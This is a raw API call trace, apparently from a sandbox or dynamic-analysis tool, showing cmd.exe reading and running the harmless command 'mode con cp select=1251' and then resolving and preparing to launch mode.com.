	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0157.258] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.258] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.258] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0157.259] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.259] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.259] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0157.259] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.259] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.259] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0157.259] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.259] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.259] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0157.259] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.259] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.259] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0157.259] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.259] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.259] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0157.260] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.260] GetFileType (hFile=0x248) returned 0x3
	[0157.260] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.260] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.260] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.260] GetFileType (hFile=0x254) returned 0x3
	[0157.260] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0157.260] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x32a16ffa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa38*=0x18, lpOverlapped=0x0) returned 1
	[0157.260] GetProcessHeap () returned 0x1ff0cc10000
	[0157.260] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x4012) returned 0x1ff0cc18e90
	[0157.260] GetProcessHeap () returned 0x1ff0cc10000
	[0157.260] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18e90) returned 1
	[0157.261] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0157.261] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0157.261] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0157.261] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0157.261] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0157.261] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0157.261] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0157.261] GetProcessHeap () returned 0x1ff0cc10000
	[0157.261] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb0) returned 0x1ff0cc17340
	[0157.261] GetProcessHeap () returned 0x1ff0cc10000
	[0157.261] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1a) returned 0x1ff0cc175e0
	[0157.261] GetProcessHeap () returned 0x1ff0cc10000
	[0157.261] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x38) returned 0x1ff0cc17610
	[0157.262] GetConsoleOutputCP () returned 0x1b5
	[0157.784] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0157.784] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0158.255] GetConsoleTitleW (in: lpConsoleTitle=0x32a16ff880, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0158.522] malloc (_Size=0xffce) returned 0x1ff0cd30840
	[0158.522] ??_V@YAXPEAX@Z () returned 0x1ff0cd30840
	[0158.523] malloc (_Size=0xffce) returned 0x1ff0cd40820
	[0158.523] ??_V@YAXPEAX@Z () returned 0x1ff0cd40820
	[0158.523] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0158.523] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0158.523] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0158.524] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0158.524] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0158.524] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0158.524] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0158.524] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0158.524] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0158.524] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0158.524] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0158.524] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0158.524] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0158.524] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0158.524] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0158.524] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0158.524] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0158.524] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0158.524] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0158.524] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0158.524] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0158.524] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0158.524] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0158.524] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0158.524] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0158.524] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0158.524] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0158.524] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0158.524] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0158.524] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0158.524] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0158.524] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0158.524] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0158.524] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0158.524] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0158.524] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0158.524] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0158.524] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0158.524] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0158.524] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0158.524] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0158.525] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0158.525] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0158.525] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0158.525] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0158.525] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0158.525] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0158.525] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0158.525] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0158.525] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0158.525] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0158.525] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0158.525] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0158.525] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0158.525] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0158.525] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0158.525] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0158.525] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0158.525] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0158.525] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0158.525] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0158.525] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0158.525] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0158.525] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0158.525] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0158.525] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0158.525] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0158.525] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0158.525] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0158.525] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0158.525] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0158.525] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0158.525] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0158.526] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0158.526] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0158.526] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0158.526] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0158.526] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0158.526] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0158.526] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0158.526] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0158.526] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0158.526] ??_V@YAXPEAX@Z () returned 0x1
	[0158.526] GetProcessHeap () returned 0x1ff0cc10000
	[0158.526] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xffde) returned 0x1ff0cc18e90
	[0158.527] GetProcessHeap () returned 0x1ff0cc10000
	[0158.527] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x42) returned 0x1ff0cc16490
	[0158.527] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0158.527] malloc (_Size=0xffce) returned 0x1ff0cd40820
	[0158.527] ??_V@YAXPEAX@Z () returned 0x1ff0cd40820
	[0158.527] GetProcessHeap () returned 0x1ff0cc10000
	[0158.527] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1ffac) returned 0x1ff0cc28e80
	[0158.528] SetErrorMode (uMode=0x0) returned 0x0
	[0158.528] SetErrorMode (uMode=0x1) returned 0x0
	[0158.528] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1ff0cc28e90, lpFilePart=0x32a16ff100 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x32a16ff100*="system32") returned 0x13
	[0158.528] SetErrorMode (uMode=0x0) returned 0x1
	[0158.528] GetProcessHeap () returned 0x1ff0cc10000
	[0158.528] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc28e80, Size=0x42) returned 0x1ff0cc28e80
	[0158.528] GetProcessHeap () returned 0x1ff0cc10000
	[0158.528] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc28e80) returned 0x42
	[0158.528] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0158.528] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0158.528] GetProcessHeap () returned 0x1ff0cc10000
	[0158.528] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1b6) returned 0x1ff0cc177c0
	[0158.528] GetProcessHeap () returned 0x1ff0cc10000
	[0158.528] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x35c) returned 0x1ff0cc28ee0
	[0158.537] GetProcessHeap () returned 0x1ff0cc10000
	[0158.537] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc28ee0, Size=0x1b8) returned 0x1ff0cc28ee0
	[0158.537] GetProcessHeap () returned 0x1ff0cc10000
	[0158.537] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc28ee0) returned 0x1b8
	[0158.537] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0158.537] GetProcessHeap () returned 0x1ff0cc10000
	[0158.537] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xe8) returned 0x1ff0cc17980
	[0158.539] GetProcessHeap () returned 0x1ff0cc10000
	[0158.539] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc17980, Size=0x7e) returned 0x1ff0cc17980
	[0158.539] GetProcessHeap () returned 0x1ff0cc10000
	[0158.539] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc17980) returned 0x7e
	[0158.539] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0158.539] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x32a16fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32a16fee70) returned 0x1ff0cc17a10
	[0158.539] GetProcessHeap () returned 0x1ff0cc10000
	[0158.539] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, Size=0x28) returned 0x1ff0cc164e0
	[0158.539] FindClose (in: hFindFile=0x1ff0cc17a10 | out: hFindFile=0x1ff0cc17a10) returned 1
	[0158.540] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x32a16fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32a16fee70) returned 0x1ff0cc16510
	[0158.540] GetProcessHeap () returned 0x1ff0cc10000
	[0158.540] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc164e0, Size=0x8) returned 0x1ff0cc164e0
	[0158.540] FindClose (in: hFindFile=0x1ff0cc16510 | out: hFindFile=0x1ff0cc16510) returned 1
	[0158.540] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0158.540] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0158.540] ??_V@YAXPEAX@Z () returned 0x1
	[0158.540] GetConsoleTitleW (in: lpConsoleTitle=0x32a16ff3f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0159.030] GetProcessHeap () returned 0x1ff0cc10000
	[0159.030] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x21c) returned 0x1ff0cc290b0
	[0159.030] GetConsoleTitleW (in: lpConsoleTitle=0x1ff0cc290c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0159.195] GetProcessHeap () returned 0x1ff0cc10000
	[0159.195] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc290b0, Size=0x8c) returned 0x1ff0cc290b0
	[0159.195] GetProcessHeap () returned 0x1ff0cc10000
	[0159.195] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc290b0) returned 0x8c
	[0159.195] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0159.264] GetProcessHeap () returned 0x1ff0cc10000
	[0159.264] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc290b0) returned 1
	[0159.264] InitializeProcThreadAttributeList (in: lpAttributeList=0x32a16ff310, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32a16ff200 | out: lpAttributeList=0x32a16ff310, lpSize=0x32a16ff200) returned 1
	[0159.264] UpdateProcThreadAttribute (in: lpAttributeList=0x32a16ff310, dwFlags=0x0, Attribute=0x60001, lpValue=0x32a16ff1ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32a16ff310, lpPreviousValue=0x0) returned 1
	[0159.264] GetStartupInfoW (in: lpStartupInfo=0x32a16ff2a0 | out: lpStartupInfo=0x32a16ff2a0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0159.264] GetProcessHeap () returned 0x1ff0cc10000
	[0159.264] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x20) returned 0x1ff0cc16510
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
